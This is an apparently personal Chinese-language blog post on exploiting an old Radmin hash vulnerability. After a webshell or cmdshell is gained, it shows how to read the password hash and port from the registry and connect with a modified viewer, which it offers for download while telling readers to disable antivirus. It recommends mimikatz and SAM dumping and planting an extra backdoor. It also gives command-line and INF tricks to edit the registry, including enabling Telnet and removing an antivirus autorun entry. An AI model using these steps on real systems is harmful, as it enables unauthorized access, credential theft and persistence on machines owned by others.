radmin是平时在windows下用的比较多的一个远程管理工具。其具有支持多个连接和IP 过滤(即允许特定的IP控制远程机器)、个性化的档互传、远程关机、支持高分辨率模式、基于Windows NT的安全支持及密码保护以及提供日志文件支持等特性。不过老版本的radmin server2.X、radmin server3.0都存在一个“致命”漏洞 —— radmin hash提权漏洞。

对于该“致命”漏洞我之所以加了引号。是因为该漏洞的利用是需要有一定的前提条件的。即:要获取读取系统注册表的权限(并不需要有写权限)。当然,获得此权限的方法很多。基本上取得webshell、cmdshell后都能获取该权限。

一、利用方法

如果不怕麻烦的,可以看下红黑联盟上提供的一个利用OllyDBG进行hash欺骗的详细步骤 —— 反汇编破解Radmin密码实例。当然想省事也有省事的方法,网上早有人制作出了radmin_hash版的viewer程序。

从注册表的下列路径取得所要的hash值和端口值:

1HKEY_LOCAL_MACHINE\SYSTEM\RAdminv2.0\Server\Parameters\Parameter//默认密码注册表位置
2HKEY_LOCAL_MACHINE\SYSTEM\RAdminv2.0\Server\Parameters\Port //默认端口注册表位置

parameters下的配置大致如下所示:

 1[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters]
 2"NTAuthEnabled"=hex:00,00,00,00
 3"Parameter"=hex:b5,bb,fc,50,93,ba,35,b0,7d,a6,57,f7,d6,f1,9a,a0
 4"Port"=hex:11,27,00,00
 5"Timeout"=hex:0a,00,00,00
 6"EnableLogFile"=hex:01,00,00,00
 7"LogFilePath"="c:logfile.txt"
 8"FilterIp"=hex:00,00,00,00
 9"DisableTrayIcon"=hex:00,00,00,00
10"AutoAllow"=hex:00,00,00,00
11"AskUser"=hex:00,00,00,00
12"EnableEventLog"=hex:00,00,00,00

有人会问,我如何知道。他用的端口是多少。很简单,自己电脑上装上一个同版本的radmin,注册表中找到相关的位置。将其中的端口的hex值改成和查到的一样,再查看自己的设置里的端口变成了多少。上例中所取的值11 27 00 00 即是10001端口。而通radmin_hash修改版输入32位hash值所就会连接上主机。大致如下图:

radmin_hash

当然,你如果对网上取到的版本不放心,可以像我一样在沙箱中运行。注意下载该软件时,要关闭杀毒软件,会报是木马的。我这里也分享该软件的下载地址。

点我下载

连接完了以后,你就可以为所欲为了。可以利用mimikatz解析用户密码,也可以通过getpw获取用户的sam值,再通过LC5解密。获得密码后,可能通过远程桌面进行连结。(呵呵,多留一个后门总归是好的……)

二、利用各种shell获取注册表的方法

下面以一个cmdshell为例,解读操作注册表键值的方法。

1、读取注册表(利用regedit导出,利用type查询)

1C:>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlTerminal\ServerWinStationsRDP-Tcp"
2C:>type 1.reg | find "PortNumber"
3"PortNumber"=dword:00000d3d
4C:>del 1.reg 

2、修改/删除注册表项

1echo Windows Registry Editor Version 5.00 >1.reg
2echo. >>1.reg
3echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg
4echo "TelnetPort"=dword:00000913 >>1.reg
5echo "NTLM"=dword:00000001 >>1.reg
6echo. >>1.reg
7regedit /s 1.reg      

上面是利用echo写入一个reg文件,并通过regedit命令导入。而删除操作与上面类似:

1要删除一个项,在名字前面加减号,比如:
2[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]
3要删除一个值,在等号后面用减号,比如:
4[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
5"KAVRun"=- 

3、inf文件操作

如果regedit命令不允许我们直接操作,我们还可以绕道通过inf文件导入注册表。先建立一个reg.inf文件,内容如下:

 1[Version]
 2Signature="$WINDOWS NT$"
 3[DefaultInstall]
 4AddReg=My_AddReg_Name
 5DelReg=My_DelReg_Name
 6[My_AddReg_Name]
 7HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323
 8HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1
 9[My_DelReg_Name]
10HKLM,SYSTEMCurrentControlSetServicesServ-U
11HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun 

然后运行如下命令(假设刚才的inf文件的路径是c:pathreg.inf),即可完成和上面reg文件一样的功能:

1rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf 

至于inf文件的内容每项的意思,可以参看DDK帮助手册。

总结

这也是一个比较老的漏洞了(最早好像是在07年有人发现的)。但很多公司在用的版本中,估计没有升级到radmin3.4的还大有人在,包括我目前的公司在内。呵呵!不要打我公司的注意啊,因为在你看到这篇日志的时候,版本已经升上去了。